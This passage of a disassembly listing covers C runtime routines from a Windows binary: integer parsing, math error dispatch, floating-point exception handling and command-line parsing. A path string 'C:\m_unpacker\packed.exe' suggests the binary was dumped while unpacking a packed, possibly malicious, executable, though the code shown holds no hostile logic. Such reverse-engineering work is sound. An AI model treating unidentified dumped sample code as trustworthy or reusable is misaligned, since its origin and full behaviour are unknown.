loc_41430F: ; CODE XREF: sub_4141A2+167j or [ebp+arg_10], 4 cmp [ebp+arg_8], 0 jnz short loc_41433C loc_414319: ; CODE XREF: sub_4141A2+144j ; sub_4141A2+15Cj mov eax, [ebp+arg_10] dec edi test al, 8 jnz short loc_414341 cmp [ebp+arg_8], 0 jz short loc_41432A mov edi, [ebp+arg_4] loc_41432A: ; CODE XREF: sub_4141A2+183j and [ebp+var_4], 0 jmp short loc_41438C ; --------------------------------------------------------------------------- loc_414330: ; CODE XREF: sub_4141A2+165j ; sub_4141A2+16Bj mov ebx, [ebp+var_4] imul ebx, [ebp+arg_C] add ebx, ecx mov [ebp+var_4], ebx loc_41433C: ; CODE XREF: sub_4141A2+175j mov bl, [edi] inc edi jmp short loc_4142CD ; --------------------------------------------------------------------------- loc_414341: ; CODE XREF: sub_4141A2+17Dj test al, 4 mov esi, 7FFFFFFFh jnz short loc_414365 test al, 1 jnz short loc_41438C and eax, 2 jz short loc_41435C cmp [ebp+var_4], 80000000h ja short loc_414365 loc_41435C: ; CODE XREF: sub_4141A2+1AFj test eax, eax jnz short loc_41438C cmp [ebp+var_4], esi jbe short loc_41438C loc_414365: ; CODE XREF: sub_4141A2+1A6j ; sub_4141A2+1B8j call sub_40F7D4 test byte ptr [ebp+arg_10], 1 mov dword ptr [eax], 22h jz short loc_41437C or [ebp+var_4], 0FFFFFFFFh jmp short loc_41438C ; --------------------------------------------------------------------------- loc_41437C: ; CODE XREF: sub_4141A2+1D2j mov al, byte ptr [ebp+arg_10] and al, 2 neg al sbb eax, eax neg eax add eax, esi mov [ebp+var_4], eax loc_41438C: ; CODE XREF: sub_4141A2+18Cj ; sub_4141A2+1AAj ... mov eax, [ebp+arg_8] test eax, eax jz short loc_414395 mov [eax], edi loc_414395: ; CODE XREF: sub_4141A2+1EFj test byte ptr [ebp+arg_10], 2 jz short loc_41439E neg [ebp+var_4] loc_41439E: ; CODE XREF: sub_4141A2+1F7j cmp [ebp+var_8], 0 jz short loc_4143AB mov eax, [ebp+var_C] and dword ptr [eax+70h], 0FFFFFFFDh loc_4143AB: ; CODE XREF: sub_4141A2+200j mov eax, [ebp+var_4] jmp short loc_4143C8 ; --------------------------------------------------------------------------- loc_4143B0: ; CODE XREF: sub_4141A2+BFj ; sub_4141A2+C8j ... mov eax, [ebp+arg_8] test eax, eax jz short loc_4143B9 mov [eax], esi loc_4143B9: ; CODE XREF: sub_4141A2+213j cmp [ebp+var_8], 0 jz short loc_4143C6 mov eax, [ebp+var_C] and dword ptr [eax+70h], 0FFFFFFFDh loc_4143C6: ; CODE XREF: sub_4141A2+21Bj xor eax, eax loc_4143C8: ; CODE XREF: sub_4141A2+20Cj pop ebx loc_4143C9: ; CODE XREF: sub_4141A2+4Cj pop edi pop esi leave retn sub_4141A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4143CD proc near ; CODE XREF: sub_40DE2C+8p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp xor eax, eax cmp dword_425E60, eax push eax push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] jnz short loc_4143EB push offset off_423680 jmp short loc_4143EC ; --------------------------------------------------------------------------- loc_4143EB: ; CODE XREF: sub_4143CD+15j push eax loc_4143EC: ; CODE XREF: sub_4143CD+1Cj call sub_4141A2 add esp, 14h pop ebp retn sub_4143CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4143F6 proc near ; CODE XREF: sub_40DE50+B5p var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 28h xor eax, eax cmp dword_426370, eax push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_0] mov byte ptr [ebp+var_8], al mov byte ptr [ebp+var_8+1], al mov byte ptr [ebp+var_8+2], al mov byte ptr [ebp+var_8+3], al mov byte ptr [ebp+var_8+4], al mov byte ptr [ebp+var_8+5], al mov byte ptr [ebp+var_8+6], al mov byte ptr [ebp+var_8+7], al jz short loc_414438 push dword_433BE0 call sub_40F194 pop ecx jmp short loc_41443D ; --------------------------------------------------------------------------- loc_414438: ; CODE XREF: sub_4143F6+32j mov eax, offset sub_4192D8 loc_41443D: ; CODE XREF: sub_4143F6+40j mov ecx, [ebp+arg_C] mov edx, 0A6h cmp ecx, edx jg loc_4145C1 jz loc_4145AE cmp ecx, 19h jg loc_414554 jz loc_41454B mov edx, ecx push 2 pop ecx sub edx, ecx jz loc_41453C dec edx jz loc_414533 sub edx, 5 jz loc_414524 dec edx jz loc_41450C sub edx, 5 jz short loc_4144FC dec edx jz short loc_4144D3 sub edx, 9 jnz loc_41466B ; default mov [ebp+var_28], 3 loc_41449E: ; CODE XREF: sub_4143F6+1ACj mov [ebp+var_24], offset aPow ; "pow" loc_4144A5: ; CODE XREF: sub_4143F6+114j ; sub_4143F6+138j ... fld qword ptr [edi] lea ecx, [ebp+var_28] fstp [ebp+var_20] push ecx fld qword ptr [ebx] fstp [ebp+var_18] fld qword ptr [esi] fstp [ebp+var_10] call eax test eax, eax pop ecx jnz loc_414666 call sub_40F7D4 mov dword ptr [eax], 22h jmp loc_414666 ; --------------------------------------------------------------------------- loc_4144D3: ; CODE XREF: sub_4143F6+96j mov [ebp+var_24], offset aExp ; "exp" loc_4144DA: ; CODE XREF: sub_4143F6+15Cj fld qword ptr [edi] lea ecx, [ebp+var_28] fstp [ebp+var_20] push ecx fld qword ptr [ebx] mov [ebp+var_28], 4 fstp [ebp+var_18] fld qword ptr [esi] fstp [ebp+var_10] call eax pop ecx jmp loc_414666 ; --------------------------------------------------------------------------- loc_4144FC: ; CODE XREF: sub_4143F6+93j mov [ebp+var_28], 3 mov [ebp+var_24], offset aExp ; "exp" jmp short loc_4144A5 ; --------------------------------------------------------------------------- loc_41450C: ; CODE XREF: sub_4143F6+8Aj mov [ebp+var_24], offset aLog10 ; "log10" loc_414513: ; CODE XREF: sub_4143F6+144j ; sub_4143F6+181j ... fld qword ptr [edi] fstp [ebp+var_20] fld qword ptr [ebx] fstp [ebp+var_18] fld qword ptr [esi] jmp loc_414646 ; --------------------------------------------------------------------------- loc_414524: ; CODE XREF: sub_4143F6+83j mov [ebp+var_28], ecx mov [ebp+var_24], offset aLog10 ; "log10" jmp loc_4144A5 ; --------------------------------------------------------------------------- loc_414533: ; CODE XREF: sub_4143F6+7Aj mov [ebp+var_24], offset aLog ; "log" jmp short loc_414513 ; --------------------------------------------------------------------------- loc_41453C: ; CODE XREF: sub_4143F6+73j mov [ebp+var_28], ecx mov [ebp+var_24], offset aLog ; "log" jmp loc_4144A5 ; --------------------------------------------------------------------------- loc_41454B: ; CODE XREF: sub_4143F6+66j mov [ebp+var_24], offset aPow ; "pow" jmp short loc_4144DA ; --------------------------------------------------------------------------- loc_414554: ; CODE XREF: sub_4143F6+60j sub ecx, 1Ah jz short loc_4145A7 dec ecx jz short loc_41459B dec ecx jz short loc_41458F ; jumptable 004145D0 case 1006 dec ecx jz short loc_414582 sub ecx, 1Dh jz short loc_414579 ; jumptable 004145D0 case 1008 sub ecx, 3 jnz loc_41466B ; default loc_414570: ; CODE XREF: sub_4143F6+1DAj ; DATA XREF: .text:off_414672o mov [ebp+var_24], offset aAsin ; jumptable 004145D0 case 1009 jmp short loc_414513 ; --------------------------------------------------------------------------- loc_414579: ; CODE XREF: sub_4143F6+16Fj ; sub_4143F6+1DAj ; DATA XREF: ... mov [ebp+var_24], offset aAcos ; jumptable 004145D0 case 1008 jmp short loc_414513 ; --------------------------------------------------------------------------- loc_414582: ; CODE XREF: sub_4143F6+16Aj mov [ebp+var_24], offset aPow ; "pow" loc_414589: ; CODE XREF: sub_4143F6+1E8j ; sub_4143F6+1F1j ... fld qword ptr [edi] fstp qword ptr [esi] jmp short loc_414513 ; --------------------------------------------------------------------------- loc_41458F: ; CODE XREF: sub_4143F6+167j ; sub_4143F6+1DAj ; DATA XREF: ... mov [ebp+var_24], offset aPow ; jumptable 004145D0 case 1006 jmp loc_414513 ; --------------------------------------------------------------------------- loc_41459B: ; CODE XREF: sub_4143F6+164j mov [ebp+var_28], 2 jmp loc_41449E ; --------------------------------------------------------------------------- loc_4145A7: ; CODE XREF: sub_4143F6+161j fld1 jmp loc_414669 ; --------------------------------------------------------------------------- loc_4145AE: ; CODE XREF: sub_4143F6+57j mov [ebp+var_28], 3 mov [ebp+var_24], offset aExp10 ; "exp10" jmp loc_4144A5 ; --------------------------------------------------------------------------- loc_4145C1: ; CODE XREF: sub_4143F6+51j add ecx, 0FFFFFC18h ; switch 13 cases cmp ecx, 0Ch ja loc_41466B ; default jmp ds:off_414672[ecx*4] ; switch jump loc_4145D7: ; DATA XREF: .text:off_414672o mov [ebp+var_24], offset aLog ; jumptable 004145D0 case 1000 jmp short loc_414589 ; --------------------------------------------------------------------------- loc_4145E0: ; CODE XREF: sub_4143F6+1DAj ; DATA XREF: .text:off_414672o mov [ebp+var_24], offset aLog10 ; jumptable 004145D0 case 1001 jmp short loc_414589 ; --------------------------------------------------------------------------- loc_4145E9: ; CODE XREF: sub_4143F6+1DAj ; DATA XREF: .text:off_414672o mov [ebp+var_24], offset aExp ; jumptable 004145D0 case 1002 jmp short loc_414589 ; --------------------------------------------------------------------------- loc_4145F2: ; CODE XREF: sub_4143F6+1DAj ; DATA XREF: .text:off_414672o mov [ebp+var_24], offset aAtan ; jumptable 004145D0 case 1003 jmp short loc_414589 ; --------------------------------------------------------------------------- loc_4145FB: ; CODE XREF: sub_4143F6+1DAj ; DATA XREF: .text:off_414672o mov [ebp+var_24], offset aCeil ; jumptable 004145D0 case 1004 jmp short loc_414589 ; --------------------------------------------------------------------------- loc_414604: ; CODE XREF: sub_4143F6+1DAj ; DATA XREF: .text:off_414672o mov [ebp+var_24], offset aFloor ; jumptable 004145D0 case 1005 jmp loc_414589 ; --------------------------------------------------------------------------- loc_414610: ; CODE XREF: sub_4143F6+1DAj ; DATA XREF: .text:off_414672o mov [ebp+var_24], offset aModf ; jumptable 004145D0 case 1007 jmp loc_414589 ; --------------------------------------------------------------------------- loc_41461C: ; CODE XREF: sub_4143F6+1DAj ; DATA XREF: .text:off_414672o mov [ebp+var_24], offset dword_41EBB0 ; jumptable 004145D0 case 1010 jmp short loc_414635 ; --------------------------------------------------------------------------- loc_414625: ; CODE XREF: sub_4143F6+1DAj ; DATA XREF: .text:off_414672o mov [ebp+var_24], offset dword_41EBAC ; jumptable 004145D0 case 1011 jmp short loc_414635 ; --------------------------------------------------------------------------- loc_41462E: ; CODE XREF: sub_4143F6+1DAj ; DATA XREF: .text:off_414672o mov [ebp+var_24], offset dword_41EBA8 ; jumptable 004145D0 case 1012 loc_414635: ; CODE XREF: sub_4143F6+22Dj ; sub_4143F6+236j fld qword ptr [edi] fmul [ebp+var_8] fst qword ptr [esi] fld qword ptr [edi] fstp [ebp+var_20] fld qword ptr [ebx] fstp [ebp+var_18] loc_414646: ; CODE XREF: sub_4143F6+129j lea ecx, [ebp+var_28] fstp [ebp+var_10] push ecx mov [ebp+var_28], 1 call eax test eax, eax pop ecx jnz short loc_414666 call sub_40F7D4 mov dword ptr [eax], 21h loc_414666: ; CODE XREF: sub_4143F6+C7j ; sub_4143F6+D8j ... fld [ebp+var_10] loc_414669: ; CODE XREF: sub_4143F6+1B3j fstp qword ptr [esi] loc_41466B: ; CODE XREF: sub_4143F6+9Bj ; sub_4143F6+174j ... pop edi ; default pop esi pop ebx leave retn sub_4143F6 endp ; --------------------------------------------------------------------------- db 8Bh, 0FFh off_414672 dd offset loc_4145D7 ; DATA XREF: sub_4143F6+1DAr dd offset loc_4145E0 ; jump table for switch statement dd offset loc_4145E9 dd offset loc_4145F2 dd offset loc_4145FB dd offset loc_414604 dd offset loc_41458F dd offset loc_414610 dd offset loc_414579 dd offset loc_414570 dd offset loc_41461C dd offset loc_414625 dd offset loc_41462E ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4146A6(double) sub_4146A6 proc near ; CODE XREF: sub_40DE50+7j ; sub_40DE50+38j var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_423D98 call sub_419B71 fld [ebp+arg_0] pop ecx pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] push ecx and ax, 7FF0h cmp ax, 7FF0h push ecx fstp [esp+18h+var_18] jnz short loc_41472C call sub_419A50 test eax, eax pop ecx pop ecx jle short loc_41470F cmp eax, 2 jle short loc_414701 cmp eax, 3 jnz short loc_41470F fld [ebp+arg_0] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] push 0Ch ; int call sub_419908 add esp, 10h jmp short loc_414773 ; --------------------------------------------------------------------------- loc_414701: ; CODE XREF: sub_4146A6+3Fj push esi push ebx call sub_419B71 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_414773 ; --------------------------------------------------------------------------- loc_41470F: ; CODE XREF: sub_4146A6+3Aj ; sub_4146A6+44j fld [ebp+arg_0] push ebx fadd ds:dbl_41EBE0 sub esp, 10h fstp qword ptr [esp+8] fld [ebp+arg_0] fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_41476B ; --------------------------------------------------------------------------- loc_41472C: ; CODE XREF: sub_4146A6+2Fj call sub_419A15 fstp [ebp+var_8] fld [ebp+arg_0] pop ecx fcomp [ebp+var_8] pop ecx fnstsw ax test ah, 44h jp short loc_414751 loc_414743: ; CODE XREF: sub_4146A6+AEj push esi push ebx call sub_419B71 fld [ebp+var_8] pop ecx pop ecx jmp short loc_414773 ; --------------------------------------------------------------------------- loc_414751: ; CODE XREF: sub_4146A6+9Bj test bl, 20h jnz short loc_414743 fld [ebp+var_8] push ebx ; int sub esp, 10h fstp qword ptr [esp+8] fld [ebp+arg_0] fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_41476B: ; CODE XREF: sub_4146A6+84j call sub_41995B add esp, 1Ch loc_414773: ; CODE XREF: sub_4146A6+59j ; sub_4146A6+67j ... pop esi pop ebx leave retn sub_4146A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414777 proc near ; CODE XREF: .text:0040E16Bp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi call sub_40F31B mov esi, eax test esi, esi jnz short loc_414796 push [ebp+arg_4] call ds:off_41E1A4 jmp loc_4148E3 ; --------------------------------------------------------------------------- loc_414796: ; CODE XREF: sub_414777+Fj mov edx, [esi+5Ch] mov eax, dword_423E24 push edi mov edi, [ebp+arg_0] mov ecx, edx push ebx loc_4147A5: ; CODE XREF: sub_414777+3Ej cmp [ecx], edi jz short loc_4147B7 mov ebx, eax imul ebx, 0Ch add ecx, 0Ch add ebx, edx cmp ecx, ebx jb short loc_4147A5 loc_4147B7: ; CODE XREF: sub_414777+30j imul eax, 0Ch add eax, edx cmp ecx, eax jnb short loc_4147C8 cmp [ecx], edi jnz short loc_4147C8 mov eax, ecx jmp short loc_4147CA ; --------------------------------------------------------------------------- loc_4147C8: ; CODE XREF: sub_414777+47j ; sub_414777+4Bj xor eax, eax loc_4147CA: ; CODE XREF: sub_414777+4Fj test eax, eax jz short loc_4147D8 mov ebx, [eax+8] test ebx, ebx mov [ebp+var_4], ebx jnz short loc_4147E6 loc_4147D8: ; CODE XREF: sub_414777+55j push [ebp+arg_4] call ds:off_41E1A4 jmp loc_4148E1 ; --------------------------------------------------------------------------- loc_4147E6: ; CODE XREF: sub_414777+5Fj cmp ebx, 5 jnz short loc_4147F7 and dword ptr [eax+8], 0 xor eax, eax inc eax jmp loc_4148E1 ; --------------------------------------------------------------------------- loc_4147F7: ; CODE XREF: sub_414777+72j cmp ebx, 1 jz loc_4148DE mov ecx, [esi+60h] mov [ebp+var_8], ecx mov ecx, [ebp+arg_4] mov [esi+60h], ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_4148D0 mov ecx, dword_423E18 mov edi, dword_423E1C mov edx, ecx add edi, ecx cmp edx, edi jge short loc_414850 imul ecx, 0Ch loc_41482F: ; CODE XREF: sub_414777+D4j mov edi, [esi+5Ch] and dword ptr [ecx+edi+8], 0 mov edi, dword_423E18 mov ebx, dword_423E1C inc edx add ebx, edi add ecx, 0Ch cmp edx, ebx jl short loc_41482F mov ebx, [ebp+var_4] loc_414850: ; CODE XREF: sub_414777+B3j mov eax, [eax] cmp eax, 0C000008Eh mov edi, [esi+64h] jnz short loc_414865 mov dword ptr [esi+64h], 83h jmp short loc_4148C3 ; --------------------------------------------------------------------------- loc_414865: ; CODE XREF: sub_414777+E3j cmp eax, 0C0000090h jnz short loc_414875 mov dword ptr [esi+64h], 81h jmp short loc_4148C3 ; --------------------------------------------------------------------------- loc_414875: ; CODE XREF: sub_414777+F3j cmp eax, 0C0000091h jnz short loc_414885 mov dword ptr [esi+64h], 84h jmp short loc_4148C3 ; --------------------------------------------------------------------------- loc_414885: ; CODE XREF: sub_414777+103j cmp eax, 0C0000093h jnz short loc_414895 mov dword ptr [esi+64h], 85h jmp short loc_4148C3 ; --------------------------------------------------------------------------- loc_414895: ; CODE XREF: sub_414777+113j cmp eax, 0C000008Dh jnz short loc_4148A5 mov dword ptr [esi+64h], 82h jmp short loc_4148C3 ; --------------------------------------------------------------------------- loc_4148A5: ; CODE XREF: sub_414777+123j cmp eax, 0C000008Fh jnz short loc_4148B5 mov dword ptr [esi+64h], 86h jmp short loc_4148C3 ; --------------------------------------------------------------------------- loc_4148B5: ; CODE XREF: sub_414777+133j cmp eax, 0C0000092h jnz short loc_4148C3 mov dword ptr [esi+64h], 8Ah loc_4148C3: ; CODE XREF: sub_414777+ECj ; sub_414777+FCj ... push dword ptr [esi+64h] push 8 call ebx pop ecx mov [esi+64h], edi jmp short loc_4148D7 ; --------------------------------------------------------------------------- loc_4148D0: ; CODE XREF: sub_414777+9Bj and dword ptr [eax+8], 0 push ecx call ebx loc_4148D7: ; CODE XREF: sub_414777+157j mov eax, [ebp+var_8] pop ecx mov [esi+60h], eax loc_4148DE: ; CODE XREF: sub_414777+83j or eax, 0FFFFFFFFh loc_4148E1: ; CODE XREF: sub_414777+6Aj ; sub_414777+7Bj pop ebx pop edi loc_4148E3: ; CODE XREF: sub_414777+1Aj pop esi leave retn sub_414777 endp ; =============== S U B R O U T I N E ======================================= sub_4148E6 proc near ; CODE XREF: .text:loc_40E128p push esi push edi xor edi, edi cmp dword_434D34, edi jnz short loc_4148F7 call sub_40EE04 loc_4148F7: ; CODE XREF: sub_4148E6+Aj mov esi, dword_434D60 test esi, esi jnz short loc_414906 mov esi, offset byte_4202A1 loc_414906: ; CODE XREF: sub_4148E6+19j ; sub_4148E6+4Bj mov al, [esi] cmp al, 20h ja short loc_414914 test al, al jz short loc_41493E test edi, edi jz short loc_414938 loc_414914: ; CODE XREF: sub_4148E6+24j cmp al, 22h jnz short loc_414921 xor ecx, ecx test edi, edi setz cl mov edi, ecx loc_414921: ; CODE XREF: sub_4148E6+30j movzx eax, al push eax call sub_419CB1 test eax, eax pop ecx jz short loc_414930 inc esi loc_414930: ; CODE XREF: sub_4148E6+47j inc esi jmp short loc_414906 ; --------------------------------------------------------------------------- loc_414933: ; CODE XREF: sub_4148E6+56j cmp al, 20h ja short loc_41493E inc esi loc_414938: ; CODE XREF: sub_4148E6+2Cj mov al, [esi] test al, al jnz short loc_414933 loc_41493E: ; CODE XREF: sub_4148E6+28j ; sub_4148E6+4Fj pop edi mov eax, esi pop esi retn sub_4148E6 endp ; =============== S U B R O U T I N E ======================================= sub_414943 proc near ; CODE XREF: .text:loc_40E105p push ebx xor ebx, ebx cmp dword_434D34, ebx push esi push edi jnz short loc_414955 call sub_40EE04 loc_414955: ; CODE XREF: sub_414943+Bj mov esi, dword_425B14 xor edi, edi cmp esi, ebx jnz short loc_414979 loc_414961: ; CODE XREF: sub_414943+51j or eax, 0FFFFFFFFh jmp loc_414A04 ; --------------------------------------------------------------------------- loc_414969: ; CODE XREF: sub_414943+3Aj cmp al, 3Dh jz short loc_41496E inc edi loc_41496E: ; CODE XREF: sub_414943+28j push esi call sub_40C500 pop ecx lea esi, [esi+eax+1] loc_414979: ; CODE XREF: sub_414943+1Cj mov al, [esi] cmp al, bl jnz short loc_414969 push 4 inc edi push edi call sub_41187A mov edi, eax cmp edi, ebx pop ecx pop ecx mov dword_426018, edi jz short loc_414961 mov esi, dword_425B14 push ebp jmp short loc_4149DF ; --------------------------------------------------------------------------- loc_41499F: ; CODE XREF: sub_414943+9Ej push esi call sub_40C500 mov ebp, eax inc ebp cmp byte ptr [esi], 3Dh pop ecx jz short loc_4149DD push 1 push ebp call sub_41187A cmp eax, ebx pop ecx pop ecx mov [edi], eax jz short loc_414A08 push esi push ebp push eax call sub_4117D5 add esp, 0Ch test eax, eax jz short loc_4149DA push ebx push ebx push ebx push ebx push ebx call sub_40CA0C add esp, 14h loc_4149DA: ; CODE XREF: sub_414943+88j add edi, 4 loc_4149DD: ; CODE XREF: sub_414943+69j add esi, ebp loc_4149DF: ; CODE XREF: sub_414943+5Aj cmp [esi], bl jnz short loc_41499F push dword_425B14 call sub_40D35A mov dword_425B14, ebx mov [edi], ebx mov dword_434D28, 1 xor eax, eax loc_414A02: ; CODE XREF: sub_414943+D9j pop ecx pop ebp loc_414A04: ; CODE XREF: sub_414943+21j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_414A08: ; CODE XREF: sub_414943+79j push dword_426018 call sub_40D35A mov dword_426018, ebx or eax, 0FFFFFFFFh jmp short loc_414A02 sub_414943 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414A1E proc near ; CODE XREF: sub_414BB6+55p ; sub_414BB6+96p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_8] push ebx xor eax, eax cmp [ebp+arg_0], eax push esi mov [edi], eax mov esi, edx mov edx, [ebp+arg_4] mov dword ptr [ecx], 1 jz short loc_414A44 mov ebx, [ebp+arg_0] add [ebp+arg_0], 4 mov [ebx], edx loc_414A44: ; CODE XREF: sub_414A1E+1Bj mov [ebp+var_4], eax loc_414A47: ; CODE XREF: sub_414A1E+7Ej ; sub_414A1E+88j cmp byte ptr [esi], 22h jnz short loc_414A5C xor eax, eax cmp [ebp+var_4], eax mov bl, 22h setz al inc esi mov [ebp+var_4], eax jmp short loc_414A98 ; --------------------------------------------------------------------------- loc_414A5C: ; CODE XREF: sub_414A1E+2Cj inc dword ptr [edi] test edx, edx jz short loc_414A6A mov al, [esi] mov [edx], al inc edx mov [ebp+arg_4], edx loc_414A6A: ; CODE XREF: sub_414A1E+42j mov bl, [esi] movzx eax, bl push eax inc esi call sub_419CB1 test eax, eax pop ecx jz short loc_414A8E inc dword ptr [edi] cmp [ebp+arg_4], 0 jz short loc_414A8D mov ecx, [ebp+arg_4] mov al, [esi] inc [ebp+arg_4] mov [ecx], al loc_414A8D: ; CODE XREF: sub_414A1E+63j inc esi loc_414A8E: ; CODE XREF: sub_414A1E+5Bj test bl, bl mov edx, [ebp+arg_4] mov ecx, [ebp+arg_8] jz short loc_414ACA loc_414A98: ; CODE XREF: sub_414A1E+3Cj cmp [ebp+var_4], 0 jnz short loc_414A47 cmp bl, 20h jz short loc_414AA8 cmp bl, 9 jnz short loc_414A47 loc_414AA8: ; CODE XREF: sub_414A1E+83j test edx, edx jz short loc_414AB0 mov byte ptr [edx-1], 0 loc_414AB0: ; CODE XREF: sub_414A1E+8Cj ; sub_414A1E+ADj and [ebp+var_4], 0 loc_414AB4: ; CODE XREF: sub_414A1E+183j cmp byte ptr [esi], 0 jz loc_414BA6 loc_414ABD: ; CODE XREF: sub_414A1E+AAj mov al, [esi] cmp al, 20h jz short loc_414AC7 cmp al, 9 jnz short loc_414ACD loc_414AC7: ; CODE XREF: sub_414A1E+A3j inc esi jmp short loc_414ABD ; --------------------------------------------------------------------------- loc_414ACA: ; CODE XREF: sub_414A1E+78j dec esi jmp short loc_414AB0 ; --------------------------------------------------------------------------- loc_414ACD: ; CODE XREF: sub_414A1E+A7j cmp byte ptr [esi], 0 jz loc_414BA6 cmp [ebp+arg_0], 0 jz short loc_414AE5 mov eax, [ebp+arg_0] add [ebp+arg_0], 4 mov [eax], edx loc_414AE5: ; CODE XREF: sub_414A1E+BCj inc dword ptr [ecx] loc_414AE7: ; CODE XREF: sub_414A1E+16Ej xor ebx, ebx inc ebx xor ecx, ecx jmp short loc_414AF0 ; --------------------------------------------------------------------------- loc_414AEE: ; CODE XREF: sub_414A1E+D5j inc esi inc ecx loc_414AF0: ; CODE XREF: sub_414A1E+CEj cmp byte ptr [esi], 5Ch jz short loc_414AEE cmp byte ptr [esi], 22h jnz short loc_414B20 test cl, 1 jnz short loc_414B1E cmp [ebp+var_4], 0 jz short loc_414B11 lea eax, [esi+1] cmp byte ptr [eax], 22h jnz short loc_414B11 mov esi, eax jmp short loc_414B1E ; --------------------------------------------------------------------------- loc_414B11: ; CODE XREF: sub_414A1E+E5j ; sub_414A1E+EDj xor eax, eax xor ebx, ebx cmp [ebp+var_4], eax setz al mov [ebp+var_4], eax loc_414B1E: ; CODE XREF: sub_414A1E+DFj ; sub_414A1E+F1j shr ecx, 1 loc_414B20: ; CODE XREF: sub_414A1E+DAj test ecx, ecx jz short loc_414B36 loc_414B24: ; CODE XREF: sub_414A1E+113j dec ecx test edx, edx jz short loc_414B2D mov byte ptr [edx], 5Ch inc edx loc_414B2D: ; CODE XREF: sub_414A1E+109j inc dword ptr [edi] test ecx, ecx jnz short loc_414B24 mov [ebp+arg_4], edx loc_414B36: ; CODE XREF: sub_414A1E+104j mov al, [esi] test al, al jz short loc_414B91 cmp [ebp+var_4], 0 jnz short loc_414B4A cmp al, 20h jz short loc_414B91 cmp al, 9 jz short loc_414B91 loc_414B4A: ; CODE XREF: sub_414A1E+122j test ebx, ebx jz short loc_414B8B test edx, edx movsx eax, al push eax jz short loc_414B79 call sub_419CB1 test eax, eax pop ecx jz short loc_414B6D mov al, [esi] mov ecx, [ebp+arg_4] inc [ebp+arg_4] mov [ecx], al inc esi inc dword ptr [edi] loc_414B6D: ; CODE XREF: sub_414A1E+140j mov ecx, [ebp+arg_4] mov al, [esi] inc [ebp+arg_4] mov [ecx], al jmp short loc_414B86 ; --------------------------------------------------------------------------- loc_414B79: ; CODE XREF: sub_414A1E+136j call sub_419CB1 test eax, eax pop ecx jz short loc_414B86 inc esi inc dword ptr [edi] loc_414B86: ; CODE XREF: sub_414A1E+159j ; sub_414A1E+163j inc dword ptr [edi] mov edx, [ebp+arg_4] loc_414B8B: ; CODE XREF: sub_414A1E+12Ej inc esi jmp loc_414AE7 ; --------------------------------------------------------------------------- loc_414B91: ; CODE XREF: sub_414A1E+11Cj ; sub_414A1E+126j ... test edx, edx jz short loc_414B9C mov byte ptr [edx], 0 inc edx mov [ebp+arg_4], edx loc_414B9C: ; CODE XREF: sub_414A1E+175j inc dword ptr [edi] mov ecx, [ebp+arg_8] jmp loc_414AB4 ; --------------------------------------------------------------------------- loc_414BA6: ; CODE XREF: sub_414A1E+99j ; sub_414A1E+B2j mov eax, [ebp+arg_0] test eax, eax pop esi pop ebx jz short loc_414BB2 and dword ptr [eax], 0 loc_414BB2: ; CODE XREF: sub_414A1E+18Fj inc dword ptr [ecx] leave retn sub_414A1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414BB6 proc near ; CODE XREF: .text:0040E0F4p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch push ebx xor ebx, ebx cmp dword_434D34, ebx push esi push edi jnz short loc_414BCE call sub_40EE04 loc_414BCE: ; CODE XREF: sub_414BB6+11j push 104h mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push esi push ebx mov byte_42647C, bl call ds:dword_41E0B4 ; GetModuleFileNameA mov eax, dword_434D60 cmp eax, ebx mov off_426028, esi jz short loc_414BFC cmp [eax], bl mov [ebp+var_4], eax jnz short loc_414BFF loc_414BFC: ; CODE XREF: sub_414BB6+3Dj mov [ebp+var_4], esi loc_414BFF: ; CODE XREF: sub_414BB6+44j mov edx, [ebp+var_4] lea eax, [ebp+var_8] push eax push ebx push ebx lea edi, [ebp+var_C] call sub_414A1E mov eax, [ebp+var_8] add esp, 0Ch cmp eax, 3FFFFFFFh jnb short loc_414C67 mov ecx, [ebp+var_C] cmp ecx, 0FFFFFFFFh jnb short loc_414C67 mov edi, eax shl edi, 2 lea eax, [edi+ecx] cmp eax, ecx jb short loc_414C67 push eax call sub_41183A mov esi, eax cmp esi, ebx pop ecx jz short loc_414C67 mov edx, [ebp+var_4] lea eax, [ebp+var_8] push eax add edi, esi push edi push esi lea edi, [ebp+var_C] call sub_414A1E mov eax, [ebp+var_8] add esp, 0Ch dec eax mov dword_42600C, eax mov dword_426010, esi xor eax, eax jmp short loc_414C6A ; --------------------------------------------------------------------------- loc_414C67: ; CODE XREF: sub_414BB6+65j ; sub_414BB6+6Dj ... or eax, 0FFFFFFFFh loc_414C6A: ; CODE XREF: sub_414BB6+AFj pop edi pop esi pop ebx leave retn sub_414BB6 endp ; =============== S U B R O U T I N E ======================================= sub_414C6F proc near 